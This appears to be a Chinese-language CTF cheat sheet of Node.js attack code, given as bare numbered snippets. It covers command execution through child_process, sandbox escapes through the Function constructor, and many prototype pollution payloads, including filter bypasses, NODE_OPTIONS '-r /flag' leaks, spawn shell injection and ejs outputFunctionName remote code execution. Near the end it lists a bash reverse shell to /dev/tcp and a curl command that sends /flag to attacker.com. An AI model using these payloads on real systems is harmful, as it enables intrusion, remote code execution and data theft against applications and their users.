1
// 异步执行，结果不回显（需反弹shell）
2
require('child_process').exec('ls')
3

4
// 同步执行，结果直接回显
5
require('child_process').execSync('cat /flag').toString()
6

7
// spawn 传入参数数组
8
require('child_process').spawn('ls', ['/'])
9
require('child_process').spawnSync('cat', ['/flag'])
10

11
// execFile 执行文件
12
require('child_process').execFile('/bin/sh', ['-c', 'cat /flag'])

1
// 同步读取
2
require('fs').readFileSync('/flag').toString()
3

4
// 异步读取
5
require('fs').readFile('/flag', (err, data) => console.log(data))
6

7
// 写文件
8
require('fs').writeFileSync('/tmp/shell.js', 'code')
9

10
// 目录遍历
11
require('fs').readdirSync('/').forEach(f => console.log(f))

1
// 直接执行代码
2
eval("require('child_process').execSync('id')")
3

4
// Function 构造器
5
Function("return require('child_process').execSync('id')")()
6

7
// 间接调用
8
[].constructor.constructor("return process")()

1
process.env                    // 环境变量
2
process.cwd()                  // 当前工作目录
3
process.mainModule             // 主模块 (已弃用但仍可用)
4
process.mainModule.require()   // 加载任意模块
5

6
// 常用链
7
process.mainModule.require('child_process').execSync('id')

1
// 每个对象都有 __proto__ 指向其原型
2
let obj = {}
3
obj.__proto__ === Object.prototype  // true
4

5
// 原型链查找：自身 → __proto__ → __proto__.__proto__ → ... → null
6
obj.toString()  // 从 Object.prototype 继承
7

8
// 函数有 prototype 属性
9
function Foo() {}
10
Foo.prototype.constructor === Foo  // true
11

12
// new 创建的对象，__proto__ 指向构造函数的 prototype
13
let f = new Foo()
14
f.__proto__ === Foo.prototype  // true

1
// 正常情况：只有特定对象有某个属性
2
let obj = {}
3
console.log(obj.admin)  // undefined
4

5
// 污染原型链后：所有对象都继承该属性
6
Object.prototype.admin = true
7
console.log(obj.admin)  // true (从原型链继承)
8

9
// 影响范围：所有后续创建的对象
10
let obj2 = {}
11
console.log(obj2.admin)  // true

1
// 危险函数模式
2
function merge(target, source) {
3
    for (let key in source) {
4
        if (source[key] instanceof Object) {
5
            merge(target[key], source[key])
6
        } else {
7
            target[key] = source[key]
8
        }
9
    }
10
}
11

12
// 触发污染
13
merge({}, JSON.parse('{"__proto__":{"admin":true}}'))
14

15
// 其他危险函数
16
Object.assign({}, user_input)      // 某些情况
17
_.merge({}, user_input)            // lodash < 4.17.21
18
$.extend(true, {}, user_input)     // jQuery < 3.4.0

1
// 方式1: __proto__ 直接污染
2
{"__proto__": {"evil": 1}}
3

4
// 方式2: constructor.prototype 链式污染
5
{"constructor": {"prototype": {"evil": 1}}}
6

7
// 方式3: __proto__.__proto__ (嵌套污染)
8
{"__proto__": {"__proto__": {"evil": 1}}}

1
// 案例1: 只检查顶层 __proto__
2
function merge(target, source) {
3
    for (let key in source) {
4
        if (key === '__proto__') continue;  // 只检查顶层
5
        if (typeof source[key] === 'object') {
6
            merge(target[key], source[key])
7
        } else {
8
            target[key] = source[key]
9
        }
10
    }
11
}
12
// 绕过: constructor.prototype
13
{"constructor": {"prototype": {"evil": 1}}}
14

15
// 案例2: 递归检查 __proto__
16
function merge(target, source) {
17
    for (let key in source) {
18
        if (key === '__proto__') continue;
19
        if (key === 'prototype') continue;  // 加了prototype过滤
20
        // ...
21
    }
22
}
23
// 绕过: 嵌套对象
24
{"__proto__": {"__proto__": {"evil": 1}}}
25

26
// 案例3: 黑名单过滤
27
const forbidden = ['__proto__', 'prototype', 'constructor'];
28
if (forbidden.includes(key)) continue;
29
// 绕过: 找其他路径或利用条件竞争

1
// spawn 调用
2
spawn('node', ['-e', code'], options)
3

4
// 可污染的 options 属性:
5
// - cwd: 工作目录
6
// - env: 环境变量对象
7
// - argv0: 进程名
8
// - stdio: 标准输入输出配置
9
// - shell: 是否使用shell (true时可命令注入)
10
// - uid/gid: 用户/组ID
11

12
// 污染示例
13
{"constructor": {"prototype": {"shell": true}}}           // 启用shell
14
{"constructor": {"prototype": {"cwd": "/flag"}}}          // 改变工作目录
15
{"constructor": {"prototype": {"argv0": "-e"}}}           // 修改参数

1
// NODE_OPTIONS 是 Node.js 的特殊环境变量，传递参数给所有子进程
2
// 源码示例
3
const customEnv = Object.create(null);  // 无原型对象，不受污染
4
for (let key in process.env) {
5
    customEnv[key] = process.env[key];
6
}
7

8
// 但如果 spawn 的 options 对象没有显式设置 env，会继承 Object.prototype
9
spawn('node', args);  // options 默认继承原型链
10

11
// 利用方式
12
{"constructor": {"prototype": {"NODE_OPTIONS": "--require=/path/to/evil.js"}}}
13
{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}}  // 短格式
14

15
// 读取 flag（flag非JS会报错，内容在错误中泄露）
16
// -r /flag 尝试加载 /flag 作为模块，报错信息包含 flag 内容

1
// 当代码使用数组作为参数时
2
spawn('node', ['-e', 'code'])  // 参数是数组
3

4
// 污染 Array.prototype 可以注入额外参数
5
{"constructor": {"prototype": {"2": "-p", "3": "require('child_process').execSync('id')"}}}
6

7
// 实际效果: node -e 'code' -p 'require(...)'

1
// ejs < 3.1.6 存在原型链污染 RCE
2
// 利用链: outputFunctionName → 预编译 → 代码执行
3

4
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}

1
// jade/pug 模板引擎利用链
2
{"__proto__": {"self": true, "debug": true}}  // 可能导致信息泄露
3
{"__proto__": {"compileDebug": true, "client": true}}  // 调试模式

1
// express 静态文件服务
2
{"__proto__": {"index": "flag.txt"}}  // 修改默认索引文件
3

4
// session 控制
5
{"__proto__": {"isadmin": true}}
6

7
// 视图引擎
8
{"__proto__": {"settings": {"view engine": "ejs"}}}

1
// 污染 require 缓存
2
{"__proto__": {"./safe-module": {"exports": {"dangerous": true}}}}
3

4
// 或污染 module.constructor
5
require.constructor.prototype._cache['./evil'] = {exports: {run: () => evil()}}

1
// 从任意对象获取 Function 构造器
2
[].constructor.constructor("return process")()
3
"".__proto__.constructor.constructor("return this")()
4

5
// 执行任意代码
6
[].constructor.constructor("return require('child_process').execSync('id')")()

1
// 最常见的入口
2
app.post('/config', (req, res) => {
3
    merge(config, req.body);  // 危险！
4
});
5

6
// 利用
7
POST /config
8
{"__proto__": {"admin": true}}
9
// 或
10
{"constructor": {"prototype": {"admin": true}}}

1
// Object.assign 深拷贝问题
2
Object.assign(config, req.body);  // 单层，无法污染原型
3

4
// 但递归版本可能有问题
5
function deepAssign(target, source) {
6
    for (let key in source) {
7
        if (typeof source[key] === 'object') {
8
            deepAssign(target[key], source[key])
9
        } else {
10
            target[key] = source[key]
11
        }
12
    }
13
}

1
// 危险模式
2
let config = JSON.parse(req.body.data);
3
user.role = config.role;  // 如果 config 被污染...
4

5
// 或直接使用用户输入创建对象
6
let obj = {[key]: value};  // 如果 key 是 __proto__

1
// ejs 渲染时
2
res.render('template', user_data);  // user_data 可能污染渲染选项
3

4
// 利用
5
{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('id');x"}}

1
// 测试 payload
2
{"__proto__": {"test": 1}}
3
// 或
4
{"constructor": {"prototype": {"test": 1}}}
5

6
// 验证: 检查新对象是否继承该属性
7
// 如果服务有回显，可能看到效果
8
// 或通过报错信息观察

1
// 1. 直接回显
2
res.json({admin: user.admin})  // 如果污染了 admin
3

4
// 2. 报错回显
5
// NODE_OPTIONS: "-r /flag" 会将 flag 内容显示在报错中
6

7
// 3. 反弹 shell
8
{"__proto__": {"NODE_OPTIONS": "-r /tmp/shell.js"}}
9
// /tmp/shell.js 内容
10
require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
11

12
// 4. 外带数据
13
require('child_process').exec('curl http://attacker.com/$(cat /flag | base64)')

1
// 源码关键点
2
function merge(target, source, res) {
3
    for (let key in source) {
4
        if (key === '__proto__') continue;  // 过滤 __proto__
5
        // ...
6
    }
7
}
8

9
const forbidden = ['shell', 'env', 'exports', 'main', 'module', ...];
10
const bodyStr = JSON.stringify(userConfig).toLowerCase();
11
if (bodyStr.includes(`"${word}"`)) { ... }  // 黑名单检查键名
12

13
spawn('node', ['-e', code'], {env: customEnv, shell: false});  // spawn 调用
14

15
// 正则过滤 NODE_OPTIONS
16
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
17

18
// 利用思路:
19
// 1. constructor.prototype 绕过 __proto__ 过滤
20
// 2. NODE_OPTIONS 不在黑名单中，可以污染
21
// 3. -r 短格式绕过 --require 正则过滤
22
// 4. spawn 的 options 对象继承 Object.prototype
23

24
// Payload
25
{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}
26

27
// 结果: flag 内容在报错信息中泄露

1
// lodash < 4.17.21 的 merge 函数存在原型链污染
2
const _ = require('lodash');
3
_.merge({}, req.body);
4

5
// 利用
6
{"__proto__": {"isAdmin": true}}
7
{"constructor": {"prototype": {"shell": true}}}

1
// ejs 渲染
2
res.render('index', req.body);
3

4
// 利用链
5
{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('cat /flag');x"}}

1
// 基础污染
2
{"__proto__": {"key": "value"}}
3
{"constructor": {"prototype": {"key": "value"}}}
4

5
// RCE via spawn shell
6
{"constructor": {"prototype": {"shell": true}}}
7

8
// RCE via NODE_OPTIONS
9
{"constructor": {"prototype": {"NODE_OPTIONS": "-r /path/to/evil.js"}}}
10

11
// RCE via Array.prototype
12
{"constructor": {"prototype": {"0": "-e", "1": "evil_code"}}}
13

14
// ejs RCE
15
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}
16

17
// 函数构造器链
18
[].constructor.constructor("return process")().mainModule.require('child_process').execSync('id')